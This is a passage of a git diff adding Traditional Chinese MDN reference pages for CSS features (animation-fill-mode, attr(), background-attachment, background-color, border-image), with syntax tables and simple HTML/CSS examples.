+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>奇数值</td>
+    <td><code>0%</code> 或 <code>from</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>与上面 <strong><code>forwards</code></strong> 值效果相反，动画执行后停留到第一个关键帧动画，准确说是<code><strong>没有执行动画之前的初始状态</strong></code>。</dd>
+ <dd>【（the animation will apply the values defined in the first relevant <a href="https://developer.mozilla.org/en-US/docs/CSS/@keyframes">keyframe</a> as soon as it is applied to the target, and retain this during the <code>"animation-delay"</code> period.）原文大概意思是会停留第一个关键帧，并会保留 <code>"animation-delay"</code> 延迟属性的所设定周期。】</dd>
+ <dd>会在延迟之后才开始执行关键帧动画，而不是一开始使用第一帧进行停留，具体可以结合<code><strong>both</strong></code>的例子进行尝试。</dd>
+ <dd><img alt="" src="https://gitee.com/yoonasy/externalLink/raw/master/animation-fill-mode_backwards.gif" style="height: 736px; width: 1698px;"></dd>
+ <dd>第一个相关关键帧会取决于 <code>"animation-direction"</code> 方向属性:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col">first relevant keyframe</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code> 或 <code>alternate</code></td>
+    <td><code>0%</code> 或 <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code> 或 <code>alternate-reverse</code></td>
+    <td><code>100%</code> 或 <code>to</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<dl>
+ <dt><code>both</code></dt>
+ <dd>动画将遵循开始和结束后的帧动画进行停留，也就是说会从第一帧开始停留显示，动画执行之后会停留到动画结束时的状态。</dd>
+ <dt><img alt="" src="https://gitee.com/yoonasy/externalLink/raw/master/animation-fill-mode_both.gif" style="height: 755px; width: 1698px;"></dt>
+ <dd>与上面两个值的差别是，如果元素使用 <code><strong>forwards</strong></code>、<code><strong>backwards</strong></code> 两个值会在没有添加动画之前的展示状态进行停留，执行动画的时候才会开始执行关键帧，有这么一些细小的差别。</dd>
+</dl>
+
+<div class="note">
+<p><strong>PS</strong>: 当您在一个<code>animation-*</code>属性上指定多个逗号分隔的值时，它们将被分配给 <code>"animationname"</code> 属性中指定的动画，这取决于有多少动画。有关更多信息，请参见<a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">设置多个动画属性值</a>。</p>
+</div>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>You can see the effect of <code>animation-fill-mode</code> in the following example. It demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Move your mouse over the gray box!&lt;/p&gt;
+&lt;div class="demo"&gt;
+ &lt;div class="growsandstays"&gt;This grows and stays big.&lt;/div&gt;
+  &lt;div class="grows"&gt;This just grows.&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+}
+
+@keyframes grow {
+  0% { font-size: 0; }
+  100% { font-size: 40px; }
+}
+
+.demo:hover .grows {
+  animation-name: grow;
+  animation-duration: 3s;
+}
+
+.demo:hover .growsandstays {
+  animation-name: grow;
+  animation-duration: 3s;
+  animation-fill-mode: forwards;
+}</pre>
+
+<p> </p>
+
+<p>查看 <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS animations</a> 更多有關的例子</p>
+
+<h2 id="相關鏈接">相關鏈接</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/zh-tw/web/css/attr()/index.html b/files/zh-tw/web/css/attr()/index.html
new file mode 100644
index 0000000000..7cce14ec01
--- /dev/null
+++ b/files/zh-tw/web/css/attr()/index.html
@@ -0,0 +1,200 @@
+---
+title: attr
+slug: Web/CSS/attr()
+translation_of: Web/CSS/attr()
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p><code>attr()</code> <a href="/zh-TW/docs/Web/CSS">CSS</a> 函數使用於樣式取得被選取之元素中特定屬性的值。它也可以用在擬元素選取項(Pseudo-element)，在此情形下，其屬性值來自於擬元素選取項相依的原始元素。</p>
+
+<p><code>attr()</code> 函數可以被用在任何 CSS 屬性，但除了 content 以外的屬性皆屬於實驗階段。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush:js notranslate">/* Simple usage */
+attr(data-count);
+attr(title);
+
+/* With type */
+attr(src url);
+attr(data-count number);
+attr(data-width px);
+
+/* With fallback */
+attr(data-count number, 0);
+attr(src url, '');
+attr(data-width px, inherit);
+attr(data-something, 'default');
+</pre>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>attribute-name</code></dt>
+ <dd>在 CSS 中參考之 HTML 元素的屬性名稱。</dd>
+ <dt><code>&lt;type-</code>or-unit&gt; {{experimental_inline}}</dt>
+ <dd>Is a keyword representing either the type of the attribute's value, or its unit, as in HTML some attributes have implicit units. If the use of <code>&lt;type-or-unit&gt;</code> as a value for the given attribute is invalid, the <code>attr()</code> expression will be invalid too. If omitted, it defaults to <code>string</code>. The list of valid values are:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Keyword</th>
+    <th scope="col">Associated type</th>
+    <th scope="col">Comment</th>
+    <th scope="col">Default value</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>string</code></td>
+    <td>{{cssxref("&lt;string&gt;")}}</td>
+    <td>The attribute value is treated as a CSS {{cssxref("&lt;string&gt;")}}.  It is NOT reparsed, and in particular the characters are used as-is instead of CSS escapes being turned into different characters.</td>
+    <td>An empty string</td>
+   </tr>
+   <tr>
+    <td><code>color</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;color&gt;")}}</td>
+    <td>The attribute value is parsed as a hash (3- or 6-value hash) or a keyword. It must be a valid CSS {{cssxref("&lt;string&gt;")}} value.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>currentColor</code></td>
+   </tr>
+   <tr>
+    <td><code>url</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;uri&gt;")}}</td>
+    <td>The attribute value is parsed as a string that is used inside a CSS <code>url()</code>function.<br>
+     Relative URL are resolved relatively to the original document, not relatively to the style sheet.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td>The url <code>about:invalid</code> that points to a non-existent document with a generic error condition.</td>
+   </tr>
+   <tr>
+    <td><code>integer</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;integer&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;integer&gt;")}}. If it is not valid, that is not an integer or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>number</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;number&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>length</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;length&gt;")}} dimension, that is including the unit (e.g. <code>12.5em</code>). If it is not valid, that is not a length or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>em</code>, <code>ex</code>, <code>px</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, <code>mm</code>, <code>cm</code>, <code>in</code>, <code>pt</code>, or <code>pc</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;length&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>angle</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;angle&gt;")}} dimension, that is including the unit (e.g. <code>30.5deg</code>). If it is not valid, that is not an angle or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>deg</code>, <code>grad</code>, <code>rad</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an {{cssxref("&lt;angle&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>time</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;time&gt;")}} dimension, that is including the unit (e.g. <code>30.5ms</code>). If it is not valid, that is not a time or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>s</code>, <code>ms</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an{{cssxref("&lt;time&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>frequency</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;frequency&gt;")}} dimension, that is including the unit (e.g. <code>30.5kHz</code>). If it is not valid, that is not a frequency or out of the range accepted by the CSS property, the default value is used.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>Hz</code>, <code>kHz</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;frequency&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>%</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;percentage&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;percentage&gt;")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given value is used as a length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0%</code>, or, if <code>0%</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>&lt;fallback&gt;</code> {{experimental_inline}}</dt>
+ <dd>The value to be used if the associated attribute is missing or contains an invalid value. The fallback value must be valid where <code>attr()</code> is used, even if it is not used, and must not contain another <code>attr()</code> expression. If <code>attr()</code> is not the sole component value of a property, its <code>&lt;fallback&gt;</code> value must be of the type defined by <code>&lt;type-or-unit&gt;</code>. If not set, CSS will use the default value defined for each <code>&lt;type-or-unit&gt;</code>.</dd>
+</dl>
+
+<h3 id="形式語法">形式語法</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: css notranslate">p::before {
+  content: attr(data-foo) " ";
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;p data-foo="hello"&gt;world&lt;/p&gt;
+</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>{{EmbedLiveSample("Examples", '100%', '80')}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#attr-notation', 'attr()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Added two optional parameters; can be used on all properties; may return other values than {{cssxref("&lt;string&gt;")}}. These changes are experimental and may be dropped during the CR phase if browser support is too small.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#x18', 'attr()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Limited to the {{cssxref("content")}} property; always return a {{cssxref("&lt;string&gt;")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("css.types.attr")}}</p>
diff --git a/files/zh-tw/web/css/background-attachment/index.html b/files/zh-tw/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..138623a543
--- /dev/null
+++ b/files/zh-tw/web/css/background-attachment/index.html
@@ -0,0 +1,151 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-attachment
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>background-attachment</code></strong> 這個 <a href="/en-US/docs/CSS">CSS</a> 屬性能夠設定，背景圖片的位置是否要固定在 {{glossary("viewport")}}（視圖）上，還是背景圖片會隨著它的 containing block（外層容器）一起滾動。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-attachment.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* Global values */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+</pre>
+
+<p><code>background-attachment</code> 屬性的值，可以是下方清單中的其中之一。</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>fixed</code></dt>
+ <dd>讓背景相對於 viewport（視圖）的移動是固定的。即便元素中的內容是可滾動的，背景也不會在滾動元素內容時跟著移動。(這個屬性與 {{cssxref("background-clip", "background-clip: text", "#text")}} 不相容。)</dd>
+ <dt><code>local</code></dt>
+ <dd>讓背景相對於元素的內容是固定的，且背景在滾動元素的內容時會跟著移動。另外，背景的繪製與定位區域是相對於元素的可滾動區域，而不是包裹著它們的邊框。</dd>
+ <dt><code>scroll</code></dt>
+ <dd>讓背景相對於元素本身是固定的，使背景在滾動元素的內容時不會跟著移動。（It is effectively attached to the element's border.）</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">例子</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Simple_example")}}</p>
+
+<h3 id="Multiple_background_images">Multiple background images</h3>
+
+<p>這個屬性支援多個背景圖片。你可以對每個背景設定不同的 <code>&lt;attachment&gt;</code>。每個背景圖片會依序對應在 <code>&lt;attachment&gt;</code> 設定的類型。</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
+      url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Multiple_background_images")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>The shorthand property has been extended to support multiple backgrounds and the <code>local</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.background-attachment")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">Using multiple backgrounds</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/background-color/index.html b/files/zh-tw/web/css/background-color/index.html
new file mode 100644
index 0000000000..3c5cea28b3
--- /dev/null
+++ b/files/zh-tw/web/css/background-color/index.html
@@ -0,0 +1,115 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+translation_of: Web/CSS/background-color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>background-color</code></strong> <a href="/en/CSS" title="CSS">CSS</a> property 是用來設定HTML元素的背景顏色，值可以是顏色亦可以是特定關鍵字－－ <code>transparent</code>.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: css">background-color: red;
+background-color: rgb(255, 255, 128);
+background-color: hsla(50, 33%, 25%, 0.75);
+background-color: currentColor;
+background-color: transparent;
+background-color: #bbff00;
+
+background-color: inherit;
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>一個 CSS {{cssxref("&lt;color&gt;")}} 用來表示一致的背景顏色。即便設定了一個或多個 {{cssxref("background-image")}} ，背景渲染上依舊會渲染這顏色，若是圖片並非不透明圖，在透明區域就能看見。在 CSS 中， <code>transparent</code> 是一種顏色</dd>
+</dl>
+
+<h3 id="正式語法">正式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("範例","200","150")}}</p>
+
+<h2 id="規格定義">規格定義</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>技術上來說，移除了 <code>transparent</code> 關鍵字，但實際上並未發生任何改變，因為它被列入至正式的 {{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>無變動</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>原始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-color")}}</p>
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>
+  <p><a href="/en/CSS/Multiple_backgrounds" title="en/CSS/Multiple backgrounds">複數背景</a></p>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/css/border-image/border-image/index.html b/files/zh-tw/web/css/border-image/border-image/index.html
new file mode 100644
index 0000000000..210a2663eb
--- /dev/null
+++ b/files/zh-tw/web/css/border-image/border-image/index.html
@@ -0,0 +1,111 @@
+---
+title: border-image
+slug: Web/CSS/border-image/border-image
+tags:
+  - CSS
+---
+<h3 id="摘要">摘要</h3>
+
+<p>CSS 屬性 <code>border-image</code> 可以讓你在元素的邊框上擺上圖片。這讓呈現看似很複雜的一個網頁的小單元簡單很多，它可以省最多九個元素。</p>
+
+<div class="warning"><strong>緊告：</strong>官方的 CSS3 規範描述的 border-image 屬性在這個功能被凍結並出現在 Gecko 1.9.1 的釋出版之後改變很多。因此，這項功能的語法跟呈現方法很可能在未來 Gecko 的釋出版改變。特別是選擇性的 <code>border-width</code> 參數，它覆蓋既有 <code>border-width</code> 取值的這項特性已經從規範移除了，因此勢必也會在未來的 Gecko 被拿掉。</div>
+
+<p>瀏覽器會顯示 <code>border-image</code> 指定的圖片而不是 {{ cssxref("border-style") }} 給的邊框樣式，但是若它的取值是 <code>none</code> 或是因某些理由無法顯示該圖片，瀏覽器就會顯示邊框樣式。<code>border-image</code> 會畫一個額外的背景圖片在原來 {{ cssxref("background-image") }} 指 定的背景圖片之上。</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}：{{ Cssxref("none") }}</li>
+ <li>對象：所有除了 {{ cssxref("border-collapse") }} 是 <code class="css">collapse</code> 的表格元素</li>
+ <li>{{ Xref_cssinherited() }}：否</li>
+ <li>媒體：{{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}：任何 URI 變為絕對，任何 &lt;長度&gt; 變為絕對，其他如同所指定</li>
+</ul>
+
+<h3 id="語法">語法</h3>
+
+<pre class="eval">none |
+  [ &lt;圖片&gt; [ &lt;數字&gt; | &lt;百分比&gt; ]{1,4} [/ &lt;邊框寬度&gt;{1,4}]? ] &amp;&amp; [ stretch | repeat | round ]{0,2} </pre>
+
+<h3 id="取值">取值</h3>
+
+<dl>
+ <dt>none</dt>
+ <dd>不顯示圖片，使用邊框樣式。</dd>
+ <dt>&lt;圖片&gt; <small>（必填）</small></dt>
+ <dd>圖片值是一個 {{cssxref("&lt;uri&gt;")}}，例： <code class="plain"> url(http://example.org/image.png)</code> 。</dd>
+ <dt>&lt;數&gt; | &lt;百分比&gt; <small>（必填）</small></dt>
+ <dd>一個、兩個、三個、四個分別代表從頂邊、右邊、底邊、左邊從圖片外圍到切圖線的距離，將圖片切為九塊：四個角、四個邊跟一個中間部份。<br>
+ <img alt="" src="/@api/deki/files/3683/=slice.png" style="float: right;"><br>
+ 一個值的話，該值用於圖片的全部四個邊。<br>
+ 兩個值得話，值用於：一、頂邊與底邊 二、右邊與左邊。<br>
+ 三個值的話，值用於：一、頂邊 二、右邊與左邊 三、底邊。<br>
+ 四個值的情況，四個值分邊用在圖片的頂邊、右邊、底邊、左邊。<br>
+ <br>
+ 在 Gecko 1.9.1 (Firefox 3.5) 圖片的中間那個部份會被當做元素的背景。這在未來的版本可能會改變。<br>
+ <br>
+ <strong>百分比</strong> 由圖片的長度/寬度計算。<br>
+ <strong>數</strong> 但表圖片的像素（若為點陣圖）或向量座標（若為 SVG）。</dd>
+ <dt>&lt;邊框寬度&gt; <small>（選擇性）</small></dt>
+ <dd>如果斜線 <strong>/</strong> 出現在屬性值的話，一個、兩個、三個或是四個在它之後的取值會被當成是 {{ cssxref("border-width") }} 的取值使用。取值的順序如同 {{ cssxref("border-width") }} 。</dd>
+ <dt>stretch | round | repeat <small>（選擇性）</small></dt>
+ <dd>一個或兩個關鍵字，指定邊上的圖片跟中間部份要如何縮放及鋪擺。<br>
+ <strong><code>stretch</code></strong> （預設值）縮放該圖片，使其與配置大小相等。<br>
+ <strong><code>round</code></strong> 鋪擺該圖片，但也縮放它使得被配置範圍鋪滿整數張該圖片。<br>
+ <strong><code>repeat   </code></strong>直接鋪擺該圖片。<br>
+ 第一個關鍵字的對象是頂邊，中間跟底邊的圖片，而第二個關鍵字的對象是左邊跟右邊的邊框。如果第二個不存在，則沿用第一個關鍵字的設定。如果兩者皆不存在，預設值為 <code> stretch</code>。</dd>
+</dl>
+
+<h3 id="範例">範例</h3>
+
+<p>[這裡還需要一些活範例]</p>
+
+<pre>#header  { -moz-border-image: url(border.png) 27 27 27 27 round round; }
+
+.button  { -moz-border-image: url(button.png) 0 5 0 5; }
+
+.example { -moz-border-image: url(example.jpg) 3 4 6 8 / 10px 12px 14px 22px; }
+</pre>
+
+<pre>/* 鮮見例，在 Firefox 3.5 下看起來像是完全伸展的 background-image */
+
+ div     { -moz-border-image: url(bgimage.png) 0; }
+</pre>
+
+<h3 id="瀏覽器兼容性">瀏覽器兼容性</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>瀏覽器</th>
+   <th>最小版本</th>
+   <th>支援</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.5</strong> (1.9.1)</td>
+   <td><code>-moz-border-image</code></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>10.5</td>
+   <td><code>border-image</code></td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td><strong>3.0</strong> (522)</td>
+   <td><code>-webkit-border-image</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="規範">規範</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-images" title="http://www.w3.org/TR/css3-background/#border-images">CSS 3 背景與邊界模組 #border-image</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/CSS/-moz-border-image"} ) }}</p>
diff --git a/files/zh-tw/web/css/border-image/index.html b/files/zh-tw/web/css/border-image/index.html
new file mode 100644
index 0000000000..bd553c7d6e
--- /dev/null
+++ b/files/zh-tw/web/css/border-image/index.html
@@ -0,0 +1,9 @@
+---
+title: border-image
+slug: Web/CSS/border-image
+---
+<p> </p>
+
+<p>This page was auto-generated because a user created a sub-page to this page.</p>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/border/index.html b/files/zh-tw/web/css/border/index.html
new file mode 100644
index 0000000000..b7a8d098e3
--- /dev/null
